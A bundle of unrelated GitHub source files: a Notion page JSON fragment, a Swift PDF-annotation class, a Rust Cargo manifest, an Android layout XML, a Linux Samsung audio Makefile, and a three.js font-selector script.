"e5dbc80b-9ce3-4932-9808-0a7fbefb59b3", "2bfda67f-291e-4f52-a037-53bdbbc944bc", "7145866f-7d62-48b0-a57b-66c494eb5a9f", "3ffccc71-cbb9-4ebc-8ff8-78efb3575845", "3fe483f2-e060-41f7-9bc7-8fa4711fa6bb", "826a2947-547d-46b5-8714-0282f94a1967", "45ae2e3d-3201-45c2-9924-4c3dd873a5c3", "1ef1aff9-7d3c-456d-abfd-937eb8756547", "6a6fe5f1-6362-47c6-bac7-61c76a0a464d", "fad6acf8-b0d5-4770-85ab-bd87a2e5410d", "f505a59f-f887-4749-88d5-2d8b5be7947f", "621f346c-f9c6-4d5c-8e6e-6106d643fcce", "6a7c57a2-8f24-43b5-974d-d38ab99fdee8", "80a93a9d-a581-423a-8907-8a480a93f52d", "6ffff372-f722-4664-9978-ad7101e6d3c6", "cf2c473f-5e00-4648-971f-43398123cc33", "1930100d-c8dd-4c8d-ab3f-7ad60a4616a4", "6349c926-1894-426b-9bd7-9ce6b6ce8b2f", "f5d212d3-d5ba-4aa5-b670-a737a4d6a212", "19ac457b-73f1-4fa2-960e-88f42ddbee76", "42ecfc4e-4f11-4487-8d7a-15abe78a4672", "3d7c457d-2120-4fab-9620-ddd6e746e8ef", "c170b80b-c39f-46ce-b311-2debae2f2082", "14ad6c73-b15c-4c75-8f07-1c859944f790", "16002345-cebc-40e9-8de5-7cc0659be0f3", "331f90f3-9311-486a-8bcd-c5e4e171ee84", "2e2716b4-5b9a-4670-8a00-377992b3a547", "9cbb47b7-a65c-4cc4-865d-1a66536aefa1", "7bedcd95-c04f-4865-a298-247d34206277", "8abb0bb2-e8f7-4eec-bab7-3a47c7c1bffd", "5186a864-9440-434b-b19a-c32d326a3fef", "e8b25d81-c867-4e20-8829-1264867cb1b8", "e3584a94-a9f0-4362-8875-ecc7887d08a7", "47b7faa3-6e5d-420d-8798-507e43f9639f", "9c91430d-940a-46b8-894c-258836f7d0f4", "f16ce3be-cc8a-428d-aa92-06106c08bb78", "322f7adc-aa8e-4dd0-90bc-e3822856448b", "6f9a7fa3-564a-46a2-a9f0-375a21c8e251", "c5099681-f7f6-42fc-90d3-a6a0ee90f908", "92a41c6c-4c93-4fb6-a347-2f5cf0a7d2db", "199c82a7-fe1c-4163-8405-c17464a5f76c", "9491365b-e249-4a75-ac25-cc1cc02f408f", "22af4132-01f0-4467-9bea-e645f470fd96", "ca11d4e6-9cd7-4136-9232-859b2e1467de", "c78edde1-b73e-43d7-ab97-ddf82241f21f", "a50a635e-1226-4210-baec-32b24d8676e4", "7822bd2e-1f30-4ca7-9aec-dc44e8b70697", "91c05e15-76e6-4d60-ba05-c776f6f8fda9", "b608fb79-1b53-486d-8fde-90d4b61fc2f1", "862b5ddf-f996-490c-9d71-0fcfa7309bad", "095bece4-4a5b-4544-a96a-9b32ab97785f", "4ed76ccc-0516-40c8-97cc-501741884fac", "09da8235-6e71-43ae-825b-1e3ee72d1ad9", "6068a6db-1477-454d-9131-f7d2eef506e8", "32904bc0-ceb7-4a01-b5ef-8a0bf7941852", "6838a528-7474-4647-bef7-4cf6c1e816b5", "3be0ee0d-3f99-4321-870f-1c84f52188a9", "761f15e8-3ef3-4bb0-bef6-598eb45647a6", "d1699fdd-2bda-4161-96bb-2b2502fb6e0a", "db56e9e4-397a-4b38-a33f-a2324e683304", "d75c0cae-6a9d-433a-91d1-96901cb34d26", "95044da4-c747-4fa5-b31f-4fb3ed5adb6c", "4521a76c-21a4-4542-8b83-322d8ffd692c", "5472d135-1ceb-48a7-856f-747de64f3e6b", "c1066830-e268-4ff2-9f0f-37841d485046", "963e797e-dea4-4392-8454-e58d4d898886", "016f7476-6abd-4773-ada7-0c01bafd51ea", "44d0c151-0367-453d-9879-ef7e4d456c6c", "7a899cd4-cc0a-4ef1-b758-42cf9f5b48b9", "8011ec06-ee27-49a4-bcbc-493592df26b0", "574bb08c-f784-4dcb-b2e1-98fb6ef32949", "e1987a71-9e13-4ebe-855e-e347fd6cc937", "9b6546ec-87e7-4f0d-97af-9dd8a76e52a2", "669038f0-8cb0-496b-9673-04b1042e0e5c", "8dc4486d-cab9-46ba-a583-6946731415e6", "03c9507a-d4bc-4e38-a41b-437f05849261", "1e659fc3-474d-4557-a94d-835ee0c85264", "d6acfbca-5bf9-4a01-93a6-9c974a46400e", "2ea54c48-49ac-4fde-be2b-e43bbc4bbf66", "830c8731-8c33-4c19-ae58-4b8ff19d4cc7", "2d77e910-ecf3-4151-95e5-d2476592ed5f", "b4ea2393-6248-4273-be5c-b3ff2586a146", "41515ac4-ab76-4fea-b463-e1a26b6f69bb", "e8c3ea27-aa2b-44ad-a95b-4ea00469fc83", "f752bf5b-91bd-44d1-8388-898770ff7adb", "4d9ab42a-8f21-4c13-9db4-9eecf9315a5d", "0cd1dd2f-b110-4916-a707-6a988d46c973", "a52e40c1-3556-4e99-a114-0488389ebe90", "d5074d5e-8d31-43ae-8069-c4edd1cc1ddb", "c88c7b1a-46a1-4423-b1b9-859c4b025b3d", "4748d604-7768-48d9-86be-1ce724d425ce", "ded10fc3-bae1-4c26-8166-2d92cbfe0f49", "68e828c6-f314-441c-b64a-ba28f0d1cc35", "f337f4f5-1ff3-4215-a0a8-1980b7c8d662", "a4053bc6-4f68-4f49-baf6-41ba500ed7c7", "94542bbc-752e-48c7-ac75-9b3e818d84eb", "3ce1e736-2768-4f19-9c41-5c91c15b7dfb", "51bc39d7-7e67-4f75-bc6d-697297d52287", "f8d5ea25-5e82-4f79-924b-0049690bfc32", "77f833e9-2996-4ded-b5af-7e17de12e8bf", "038616cc-b67b-4c1f-a9ad-af80ec2fb110", "97ef53c0-5293-453a-aff1-0439da147a44", "c5f8b539-4640-4ad9-85bc-1c855ef9dfde", "839cd454-9096-4e4d-9665-a3fb54dd4705", "c47838e4-3cab-4329-a3c4-d1afd70fdcb9", "56e44bd4-0e66-480f-b26a-730a862f5652", "24941973-4747-4d43-8317-8aad489543af", "d61fb0ab-dd90-4099-b2ec-024f6a2c279f", "3d365296-5561-464b-9301-04d4f320fea9", "7948e7ab-b399-4557-8504-4f81f50dc8ec", "8f925deb-b6fa-4c08-9646-5c7646eb4b89", "65a401f2-544a-4a8a-ab65-a3071f51031e", "dc81327b-cb66-4261-865d-bb7d14306f11", "e624cc34-7c87-4335-9bb5-d350a02910f5", "f6365667-18d0-4273-9222-c5586157da7d", "905db9f7-4839-45af-b211-113a4a6999aa", "96cf5a86-7732-431c-be7c-7c753d92a46a", "0af82c96-4dd6-4720-a409-bf67041be6e0", "710dbb9e-bd86-4ba2-a18a-5401a3046ece", "677b8f26-3ed2-4974-8569-2df0f1293a73", "3c934d65-d622-4b05-a0d0-bb5e84d75218", "8dcd9530-0e0f-4f14-b111-afc50cc08324", "2d086d76-fb34-4b13-bbc7-3d5dc05ef97d", "a23d145a-771f-4f05-b84c-07d16a56a6aa", "b240a8de-0f36-4239-9c95-bc79a5dddd40", "8e556e15-f5fd-43fa-bf95-98cee5a7bc8f", "82f1624b-f3af-4c45-a893-f8bca5957cf0", "deb49da5-8f12-4105-b9da-710ff265582f", "524569ba-6a1f-44a4-8a5d-5439de5b2a40", "ac526877-fd57-46f4-b83b-972b1c58fad6", "47e0b249-e53b-4f62-a257-6d0813594d72", "acd0006b-0353-4ba6-8a0b-87336f61c97d", "9d26f612-3468-4d2c-a80b-ad718b6e877e", "4cad6e5b-3f30-4564-8735-751ca7db042c", "b4034989-a291-40b9-9713-ee02a8ac0da2", "3360b9ba-8b02-41c9-bd93-6f6a02109330", "f15f4120-70ca-4a10-be77-f9d582fb8790", "f1c95c46-1481-4241-a8ee-571b2f83a310", "8090fbc5-84d0-4f94-b1f9-ed8020f780d3", "c6e1394e-9cad-4673-bd57-f2405d39c2cf", "27c2cc4b-0924-448f-ab99-7a67b399c2ab", "cf75254e-e8e2-41e2-81e9-77d30e203cb5", "db5df703-aa7a-4910-b457-cd3a922a981e", "c8ac0909-a19f-471e-a271-487222887abd", "fe8b6a8a-2e2d-43a0-a149-73689c84f390", "10d74f61-cdd5-494d-8c51-8312b3ba8de8", "fdb69422-5411-4296-b9d8-962b4d7831c2", "110fdb13-f9c4-46fc-9fa4-10ffd91c395f", "7fd7fa0a-adbb-469e-be55-da9a0c015ed8", "705eba44-ab0e-462d-9b8d-1773c364e997", "8678671e-3d0f-4498-ba9e-00f1a91c2dec", "d0f4d361-3ebe-433f-8d61-aa782fae1629", "509e8fc8-6805-42af-92e1-71d6eabd0266", "da4ebfb0-d0f7-4d87-b12a-91812d2c6a04", "9a1c0f18-5ce2-448f-a802-d53af20a31c1", "d392164c-cafa-46be-8893-b28c2272b578", "56de8949-916b-48d9-b3ed-5e5600fc9ca2", "8fb3ee5c-576a-4bf5-ba7e-b2edb63764dc", "cf617cc7-abc9-4c02-b109-8817de9e1fe8", "32623ca4-06d3-4b9b-9941-e741eb577347", "f44828a7-258c-4f49-a93d-61c1a597943f", "cc215dc0-9705-46ac-9ab1-1396de51bf7c", "71e5a001-12f9-41d1-aa62-8c79dd517256", "0240c422-4914-40ff-84e3-4f91c035951c", "1ed90bad-9ded-4cad-879b-073029c2669a", "82649e41-2072-452a-afc0-98a8e55e8d07", "b08308eb-a210-4991-8937-c9bbd18c4d9c", "7747dd70-20a4-4759-b346-990b9ab27c0c", "64e3b499-cbcc-4659-bb34-dbd1bb2f2e94", "4f2bdf6e-5f2e-4181-9559-dd8fc0fd7782", "124ec7ef-0d81-4d96-af62-32ba7e181dc2", "5ae01620-6217-429c-a6ee-f3c90a1813fe", "cea43ac2-635b-47f0-8e22-31dd43944c2b", "80ed906b-d3d8-4eff-a382-f3ccfe770fbd", "a6284cb9-0ec4-4644-ac38-9df2c430d565", "0e61b3b3-d822-42b9-b2db-e1147a055864", "e10e6b37-8c81-449f-8b06-953d9e7232e3", "742574bd-3734-45df-81cb-664bc6fc3d9b", "f3a57f3d-21ee-498d-99ee-965ce6b883a4", "73695f31-fd69-4514-b8d6-d72c6cdbb87c", "ad0c3fdb-eee5-4ba0-bc81-169b78ed8365", "fd7264ef-c538-432f-848b-1d838ced284a", "ba1fc3a4-bf86-41a3-98d4-3ca0974b9be8", "9fe092dc-5c09-4876-b941-b37ae675d813", "b0ec8c0c-dd90-4b58-b356-37134394c78d", "015b7891-f102-4c8f-b06d-9269dd58b44d", "3bbdbd66-d299-4cba-8c12-51c8786d3091", "2baf451b-0056-4891-8d40-684b89573e1b", "73f8cadc-ec5d-4f49-a839-67d47b03c77f", "f0b1f166-bf21-4323-a98c-97cb5ce7179b", "5430b2ef-658c-4221-aa29-4325b466d13f", "c80231fa-3653-43c4-83ec-af2060de32e6", "30d7bc46-2e9e-48f7-935c-807f4d3a3874", "187a4b2d-7c67-4c5a-b15d-04a9f83933c2", "021946e3-c36d-4a13-b45d-198da0ecadfc", "b3067692-7417-4b7d-8599-72f2c733f340", "58505de6-57ea-4156-83ec-21d3e032fcee", "90bf0114-63fa-4f8f-beac-8c8844a22459", "5f4ad035-8ade-4422-a698-42777d881b04", "1214e547-4439-466c-b7cf-0dfce91ca8a9", "6f41ff49-d3e3-4067-8644-4ed8b7416461", "114e231f-0e4f-4f0c-b594-af8e235bb7ba", "85d3184b-facb-42d7-9fa2-68a756ba59ff", "242333a5-01c6-4a03-a125-aa9fe7a1566c", "21c58509-8ad4-4956-93ec-9e01f51f7731", "a57c3cbd-cbcb-4b79-bbd2-bc492cc4c6de", "e74c5ca7-a98f-4cee-8a20-402df5f04c12", "20896cc4-7e6c-4191-90ca-0fcbaf782a1a", "ac2e3135-2507-45a0-9eb5-eb87267b5aa3", "f8a97bdd-4988-408e-b26b-09909b8984f4", "ca128910-13b5-4ca4-bb5d-59b2a0923021", "608881e1-3112-44fb-8163-a0e1375bdab0", "011dfad9-c5b2-433c-8550-1f442912c6b3", "e64074c1-1af7-4c9b-b712-3fc5e62da994", "5bc3338f-922a-47ff-aae1-08fb7b8dde43", "19cb62d2-9b26-4a60-aab3-cc40a4aef43a", "9d27e5e1-c938-4f26-a90d-25a7b894cc4a", "c4ce4396-9c90-4cec-9485-46cea79f4295", "af0972ed-d3b8-4ac2-90ab-75ce1bb915d6", "71277395-eef6-428b-9609-e3637eda9594", "e659044e-5803-4435-846f-2c49eb9f27ef", "1132475f-3f52-4abc-8b7e-1d1ad503adaa", "cbfdead0-07e3-4ff0-960c-65310ce08197", "c2583e33-3aa5-444b-9369-d1257f91d902", "b3f557a3-b586-4969-9586-4e7548d1c510", "174f69df-274c-48fb-87c1-579d48cbd326", "786f5a33-fe08-45e1-b4a3-d87fee25c003", "25357792-eaea-49a7-a61f-3c39c0385ebe", "03d85aeb-9a2e-46de-8eee-c72d3db4f4ec", "eaf84068-3115-4f77-a190-8dda88806b57", "2bfa597a-3cc4-4bc0-88a4-357178faaf9e", "45431a02-f4a1-43f5-b9cb-bde2609e996c", "9dcef566-3377-416f-9a07-00a81f06c66d", "0a7e7d49-fbc6-48a3-b125-26138aebe090", "358395f1-b91c-4d7b-8673-1b3e1c3879f5" ], "created_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "created_time": 1550443475316, "format": { "page_full_width": true, "page_small_text": true }, "id": "f90b0a6b-6483-43e2-8dc5-ed6e8f5c0780", "last_edited_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "last_edited_time": 1553725920000, "parent_id": "c74c72f4-6ba6-4002-83c5-0fe2e400a3bc", "parent_table": "block", "permissions": [ { "allow_search_engine_indexing": false, "role": "comment_only", "type": "public_permission" } ], "properties": { "title": [ [ "Essential Android" ] ] }, "type": "page", "version": 361 } }, "fd690a4d-ea01-4301-a741-05bd5e0997ba": { "role": "comment_only", "value": { "alive": true, "content": [ "daa38ee8-fa79-4042-a5d7-bd2321c8ac54", "56a42758-660f-4781-aa4b-3567689c454a", "7d94e091-f767-4450-8d8c-ad8d21c40721", "a52c327c-66fd-4552-bcf1-9177132b431c" ], "created_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "created_time": 1550447422599, "format": { "page_full_width": true, "page_small_text": true }, "id": "fd690a4d-ea01-4301-a741-05bd5e0997ba", "ignore_block_count": true, "last_edited_by": "bb760e2d-d679-4b64-b2a9-03005b21870a", "last_edited_time": 1550447422599, "parent_id": "6ffff372-f722-4664-9978-ad7101e6d3c6", "parent_table": "block", "properties": { "title": [ [ "Custom Snack Bar" ] ] }, "type": "page", "version": 3 } } }, "notion_user": { "bb760e2d-d679-4b64-b2a9-03005b21870a": { "role": "reader", "value": { "clipper_onboarding_completed": true, "email": "[email protected]", "family_name": "Kowalczyk", "given_name": "Krzysztof", "id": "bb760e2d-d679-4b64-b2a9-03005b21870a", "mobile_onboarding_completed": true, "onboarding_completed": true, "profile_photo": "https://s3-us-west-2.amazonaws.com/public.notion-static.com/2dcaa66c-7674-4ff6-9924-601785b63561/head-bw-640x960.png", "version": 179 } } }, "space": {} } }
{ "pile_set_name": "Github" }
// // Annotation.swift // Excerptor // // Created by Chen Guo on 6/05/2015. // Copyright (c) 2015 guoc. All rights reserved. // import Foundation import AppKit class Annotation { enum AnnotationType { case highlight case strikeout case underline case note case text case freeText case unrecognized init(string: String) { switch string { case "Highlight", SKNHighlightString, SKNMarkUpString: self = .highlight case "Strikeout", SKNStrikeOutString: self = .strikeout case "Underline", SKNUnderlineString: self = .underline case "Note", SKNNoteString: self = .note case "Text", SKNTextString: self = .text case "FreeText", SKNFreeTextString: self = .freeText default: self = .unrecognized } } func string() -> String { switch self { case .highlight: return "Highlight" case .strikeout: return "Strikeout" case .underline: return "Underline" case .note: return "Note" case .text: return "Text" case .freeText: return "FreeText" case .unrecognized: return "Unrecognized" } } } let annotationText: String? let noteText: String? var annotationOrNoteText: String { return annotationText ?? noteText! } let annotationType: AnnotationType let markupColor: NSColor? let author: String? let date: Date? let pageIndex: Int let pdfFileID: FileID let pdfFileName: String init(annotationText: String?, noteText: String?, annotationType: AnnotationType, markupColor: NSColor?, author: String?, date: Date?, pageIndex: Int, pdfFileID: FileID, pdfFileName: String) { self.annotationText = annotationText self.noteText = noteText self.annotationType = annotationType self.markupColor = markupColor self.author = author self.date = date self.pageIndex = pageIndex self.pdfFileID = pdfFileID self.pdfFileName = pdfFileName } // swiftlint:disable function_body_length func writeToFileWith(_ annotationFileTemplate: FileTemplate) { let annotationDNtpUuidLinkGetter = { () -> String in if let annotationDNtpUuidTypeLink = AnnotationLink(annotation: self)?.getDNtpUuidTypeLink()?.string { return annotationDNtpUuidTypeLink } else { if let annotationiFilePathTypeLink = AnnotationLink(annotation: self)?.getFilePathTypeLink()?.string { notifyPDFFileNotFoundInDNtpWith(self.pdfFileID.getFilePath(), replacingPlaceholder: Preferences.AnnotationPlaceholders.AnnotationLink_FilePathType) return annotationiFilePathTypeLink } else { exitWithError("Fail to get annotation link") } } } let annotationFilePathLinkGetter = { () -> String in if let annotationFilePathTypeLink = AnnotationLink(annotation: self)?.getFilePathTypeLink()?.string { return annotationFilePathTypeLink } else { exitWithError("Fail to get annotation file path link") } } /* Xcode think this is too complex ..., so I rewrite all keys and values as separate variables. let propertyGettersByPlaceholder: [String: () -> String] = [ Preferences.AnnotationPlaceholders.AnnotationText: { self.annotationText ?? "" }, Preferences.AnnotationPlaceholders.NoteText: { self.noteText ?? "" }, Preferences.AnnotationPlaceholders.Type: { self.annotationType.string() }, Preferences.AnnotationPlaceholders.Color: { self.markupColor?.hexDescription ?? "NO COLOR" }, Preferences.AnnotationPlaceholders.Author: { self.author ?? "NO AUTHOR" }, Preferences.AnnotationPlaceholders.AnnotationDate: { (self.date ?? NSDate()).ISO8601String() }, Preferences.AnnotationPlaceholders.ExportDate: { NSDate().ISO8601String() }, Preferences.CommonPlaceholders.Page: { "\(self.pageIndex + 1)" }, Preferences.CommonPlaceholders.PDFFileLink_DEVONthinkUUIDType: { () -> String in if let dntpUuidLink = self.pdfFileID.getDNtpUuidFileID()?.urlString { return dntpUuidLink } else { notifyPDFFileNotFoundInDNtpWith(self.pdfFileID.getFilePath(), replacingPlaceholder: Preferences.CommonPlaceholders.PDFFileLink_FilePathType) return self.pdfFileID.getFilePathFileID().urlString } }, Preferences.CommonPlaceholders.PDFFileLink_FilePathType: { self.pdfFileID.getFilePathFileID().urlString }, Preferences.CommonPlaceholders.PDFFilePath: { self.pdfFileID.getFilePath() }, Preferences.CommonPlaceholders.PDFFileName: { self.pdfFileName }, Preferences.CommonPlaceholders.PDFFileName_NoExtension: { self.pdfFileName.stringByDeletingPathExtension }, Preferences.AnnotationPlaceholders.AnnotationLink_DEVONthinkUUIDType: annotationDNtpUuidLinkGetter, Preferences.AnnotationPlaceholders.AnnotationLink_FilePathType: annotationFilePathLinkGetter, Preferences.CommonPlaceholders.PDFFileDEVONthinkUUID: { self.pdfFileID.getDNtpUuid() ?? "NOT FOUND" } ] */ let pap_AnnotationText = Preferences.AnnotationPlaceholders.AnnotationText let pap_AnnotationText_Getter = { self.annotationText ?? "" } let pap_NoteText = Preferences.AnnotationPlaceholders.NoteText let pap_NoteText_Getter = { self.noteText ?? "" } let pap_Type = Preferences.AnnotationPlaceholders.annotationType let pap_Type_Getter = { self.annotationType.string() } let pap_Color = Preferences.AnnotationPlaceholders.Color let pap_Color_Getter = { self.markupColor?.hexDescription ?? "NO COLOR" } let pap_Author = Preferences.AnnotationPlaceholders.Author let pap_Author_Getter = { self.author ?? "NO AUTHOR" } let pap_AnnotationDate = Preferences.AnnotationPlaceholders.AnnotationDate let pap_AnnotationDate_Getter = { (self.date ?? Date()).ISO8601String() } let pap_ExportDate = Preferences.AnnotationPlaceholders.ExportDate let pap_ExportDate_Getter = { Date().ISO8601String() } let pap_Page = Preferences.CommonPlaceholders.Page let pap_Page_Getter = { "\(self.pageIndex + 1)" } let pap_PDFFileLink_DEVONthinkUUIDType = Preferences.CommonPlaceholders.PDFFileLink_DEVONthinkUUIDType let pap_PDFFileLink_DEVONthinkUUIDType_Getter = { () -> String in if let dntpUuidLink = self.pdfFileID.getDNtpUuidFileID()?.urlString { return dntpUuidLink } else { notifyPDFFileNotFoundInDNtpWith(self.pdfFileID.getFilePath(), replacingPlaceholder: Preferences.CommonPlaceholders.PDFFileLink_FilePathType) return self.pdfFileID.getFilePathFileID().urlString } } let pap_PDFFileLink_FilePathType = Preferences.CommonPlaceholders.PDFFileLink_FilePathType let pap_PDFFileLink_FilePathType_Getter : () -> String = { self.pdfFileID.getFilePathFileID().urlString } let pap_PDFFilePath = Preferences.CommonPlaceholders.PDFFilePath let pap_PDFFilePath_Getter : () -> String = { self.pdfFileID.getFilePath() } let pap_PDFFileName = Preferences.CommonPlaceholders.PDFFileName let pap_PDFFileName_Getter : () -> String = { self.pdfFileName } let pap_PDFFileName_NoExtension = Preferences.CommonPlaceholders.PDFFileName_NoExtension let pap_PDFFileName_NoExtension_Getter : () -> String = { NSURL(fileURLWithPath: self.pdfFileName).deletingPathExtension!.lastPathComponent } let pap_AnnotationLink_DEVONthinkUUIDType = Preferences.AnnotationPlaceholders.AnnotationLink_DEVONthinkUUIDType let pap_AnnotationLink_DEVONthinkUUIDType_Getter : () -> String = annotationDNtpUuidLinkGetter let pap_AnnotationLink_FilePathType = Preferences.AnnotationPlaceholders.AnnotationLink_FilePathType let pap_AnnotationLink_FilePathType_Getter : () -> String = annotationFilePathLinkGetter let pap_PDFFileDEVONthinkUUID = Preferences.CommonPlaceholders.PDFFileDEVONthinkUUID let pap_PDFFileDEVONthinkUUID_Getter : () -> String = { self.pdfFileID.getDNtpUuid() ?? "NOT FOUND" } let propertyGettersByPlaceholder: [String: () -> String] = [ pap_AnnotationText: pap_AnnotationText_Getter, pap_NoteText: pap_NoteText_Getter, pap_Type: pap_Type_Getter, pap_Color: pap_Color_Getter, pap_Author: pap_Author_Getter, pap_AnnotationDate: pap_AnnotationDate_Getter, pap_ExportDate: pap_ExportDate_Getter, pap_Page: pap_Page_Getter, pap_PDFFileLink_DEVONthinkUUIDType: pap_PDFFileLink_DEVONthinkUUIDType_Getter, pap_PDFFileLink_FilePathType: pap_PDFFileLink_FilePathType_Getter, pap_PDFFilePath: pap_PDFFilePath_Getter, pap_PDFFileName: pap_PDFFileName_Getter, pap_PDFFileName_NoExtension: pap_PDFFileName_NoExtension_Getter, pap_AnnotationLink_DEVONthinkUUIDType: pap_AnnotationLink_DEVONthinkUUIDType_Getter, pap_AnnotationLink_FilePathType: pap_AnnotationLink_FilePathType_Getter, pap_PDFFileDEVONthinkUUID: pap_PDFFileDEVONthinkUUID_Getter ] annotationFileTemplate.writeToFileWithPropertyGettersDictionary(propertyGettersByPlaceholder) } // swiftlint:enable function_body_length }
{ "pile_set_name": "Github" }
[package] name = "encode" version = "0.1.0" [package.metadata.rosettacode] url = "http://rosettacode.org/wiki/Roman_numerals/Encode"
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <androidx.appcompat.widget.AppCompatTextView xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:id="@+id/headerText" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_marginStart="@dimen/marginLarge" android:layout_marginTop="@dimen/marginLarge" android:layout_marginEnd="@dimen/marginMedium" android:layout_marginBottom="@dimen/marginSmall" android:textAppearance="@style/TextAppearance.MoonShot.Overline1" android:textSize="12sp" android:textStyle="bold" tools:text="Rocket Summary" tools:viewBindingIgnore="true"/>
{ "pile_set_name": "Github" }
# S3c24XX Platform Support snd-soc-s3c24xx-objs := dma.o snd-soc-idma-objs := idma.o snd-soc-s3c24xx-i2s-objs := s3c24xx-i2s.o snd-soc-s3c2412-i2s-objs := s3c2412-i2s.o snd-soc-ac97-objs := ac97.o snd-soc-s3c-i2s-v2-objs := s3c-i2s-v2.o snd-soc-samsung-spdif-objs := spdif.o snd-soc-pcm-objs := pcm.o snd-soc-i2s-objs := i2s.o obj-$(CONFIG_SND_SOC_SAMSUNG) += snd-soc-s3c24xx.o obj-$(CONFIG_SND_S3C24XX_I2S) += snd-soc-s3c24xx-i2s.o obj-$(CONFIG_SND_SAMSUNG_AC97) += snd-soc-ac97.o obj-$(CONFIG_SND_S3C2412_SOC_I2S) += snd-soc-s3c2412-i2s.o obj-$(CONFIG_SND_S3C_I2SV2_SOC) += snd-soc-s3c-i2s-v2.o obj-$(CONFIG_SND_SAMSUNG_SPDIF) += snd-soc-samsung-spdif.o obj-$(CONFIG_SND_SAMSUNG_PCM) += snd-soc-pcm.o obj-$(CONFIG_SND_SAMSUNG_I2S) += snd-soc-i2s.o obj-$(CONFIG_SND_SAMSUNG_I2S) += snd-soc-idma.o # S3C24XX Machine Support snd-soc-jive-wm8750-objs := jive_wm8750.o snd-soc-neo1973-wm8753-objs := neo1973_wm8753.o snd-soc-smdk2443-wm9710-objs := smdk2443_wm9710.o snd-soc-ln2440sbc-alc650-objs := ln2440sbc_alc650.o snd-soc-s3c24xx-uda134x-objs := s3c24xx_uda134x.o snd-soc-s3c24xx-simtec-objs := s3c24xx_simtec.o snd-soc-s3c24xx-simtec-hermes-objs := s3c24xx_simtec_hermes.o snd-soc-s3c24xx-simtec-tlv320aic23-objs := s3c24xx_simtec_tlv320aic23.o snd-soc-h1940-uda1380-objs := h1940_uda1380.o snd-soc-rx1950-uda1380-objs := rx1950_uda1380.o snd-soc-smdk-wm8580-objs := smdk_wm8580.o snd-soc-smdk-wm8994-objs := smdk_wm8994.o snd-soc-smdk-wm9713-objs := smdk_wm9713.o snd-soc-s3c64xx-smartq-wm8987-objs := smartq_wm8987.o snd-soc-goni-wm8994-objs := goni_wm8994.o snd-soc-smdk-spdif-objs := smdk_spdif.o snd-soc-smdk-wm8580pcm-objs := smdk_wm8580pcm.o snd-soc-smdk-wm8994pcm-objs := smdk_wm8994pcm.o snd-soc-speyside-objs := speyside.o snd-soc-tobermory-objs := tobermory.o snd-soc-lowland-objs := lowland.o snd-soc-littlemill-objs := littlemill.o obj-$(CONFIG_SND_SOC_SAMSUNG_JIVE_WM8750) += snd-soc-jive-wm8750.o obj-$(CONFIG_SND_SOC_SAMSUNG_NEO1973_WM8753) += snd-soc-neo1973-wm8753.o obj-$(CONFIG_SND_SOC_SAMSUNG_SMDK2443_WM9710) += snd-soc-smdk2443-wm9710.o obj-$(CONFIG_SND_SOC_SAMSUNG_LN2440SBC_ALC650) += snd-soc-ln2440sbc-alc650.o obj-$(CONFIG_SND_SOC_SAMSUNG_S3C24XX_UDA134X) += snd-soc-s3c24xx-uda134x.o obj-$(CONFIG_SND_SOC_SAMSUNG_SIMTEC) += snd-soc-s3c24xx-simtec.o obj-$(CONFIG_SND_SOC_SAMSUNG_SIMTEC_HERMES) += snd-soc-s3c24xx-simtec-hermes.o obj-$(CONFIG_SND_SOC_SAMSUNG_SIMTEC_TLV320AIC23) += snd-soc-s3c24xx-simtec-tlv320aic23.o obj-$(CONFIG_SND_SOC_SAMSUNG_H1940_UDA1380) += snd-soc-h1940-uda1380.o obj-$(CONFIG_SND_SOC_SAMSUNG_RX1950_UDA1380) += snd-soc-rx1950-uda1380.o obj-$(CONFIG_SND_SOC_SAMSUNG_SMDK_WM8580) += snd-soc-smdk-wm8580.o obj-$(CONFIG_SND_SOC_SAMSUNG_SMDK_WM8994) += snd-soc-smdk-wm8994.o obj-$(CONFIG_SND_SOC_SAMSUNG_SMDK_WM9713) += snd-soc-smdk-wm9713.o obj-$(CONFIG_SND_SOC_SMARTQ) += snd-soc-s3c64xx-smartq-wm8987.o obj-$(CONFIG_SND_SOC_SAMSUNG_SMDK_SPDIF) += snd-soc-smdk-spdif.o obj-$(CONFIG_SND_SOC_GONI_AQUILA_WM8994) += snd-soc-goni-wm8994.o obj-$(CONFIG_SND_SOC_SMDK_WM8580_PCM) += snd-soc-smdk-wm8580pcm.o obj-$(CONFIG_SND_SOC_SMDK_WM8994_PCM) += snd-soc-smdk-wm8994pcm.o obj-$(CONFIG_SND_SOC_SPEYSIDE) += snd-soc-speyside.o obj-$(CONFIG_SND_SOC_TOBERMORY) += snd-soc-tobermory.o obj-$(CONFIG_SND_SOC_LOWLAND) += snd-soc-lowland.o obj-$(CONFIG_SND_SOC_LITTLEMILL) += snd-soc-littlemill.o
{ "pile_set_name": "Github" }
var FontSelector = function() { this.fonts = [ { name: 'Source Sans', id: 'source sans', url: '/data/fonts/Source Sans Pro_Regular.json' }, { name: 'Source Sans Bold', id: 'source sans bold', url: '/data/fonts/Source Sans Pro_Bold.json' }, { name: 'Helvetiker', id: 'helvetiker', url: '/data/fonts/helvetiker_regular.typeface.js' }, { name: 'Helvetiker Bold', id: 'helvetiker bold', url: '/data/fonts/helvetiker_bold.typeface.js' }] this.fontLoader = new THREE.FontLoader() this.getByIndex = function(idx) { return this.fonts[idx] } this.getById = function(id) { for(var i = 0, len = this.fonts.length; i < len; ++i) { if (this.fonts[i].id === id) { return this.fonts[i] } } } this.getIndex = function(font) { return this.fonts.indexOf(font) } this.createUi = function($ui, callback) { var $selectFont = $('<select class="font-type-sel" title="Select Font"/>') for (var i = 0, len = this.fonts.length; i < len; ++i) { var font = this.fonts[i] $('<option>', {value: i, text: font.name}).appendTo($selectFont) } var that = this $selectFont.change(function() { var newFont = that.getByIndex($selectFont.val()) var selection = newFont.id if (!newFont.font) { that.fontLoader.load(newFont.url, function(font) { newFont.font = font callback(newFont, selection) }) } else { callback(newFont, selection) } }) $ui.append($selectFont) } this.initialise = function(ui, id) { var font = this.getById(id) var idx = this.getIndex(font) ui.find('.font-type-sel').val(idx) } } if (typeof(module) !== 'undefined') module.exports = FontSelector
{ "pile_set_name": "Github" }
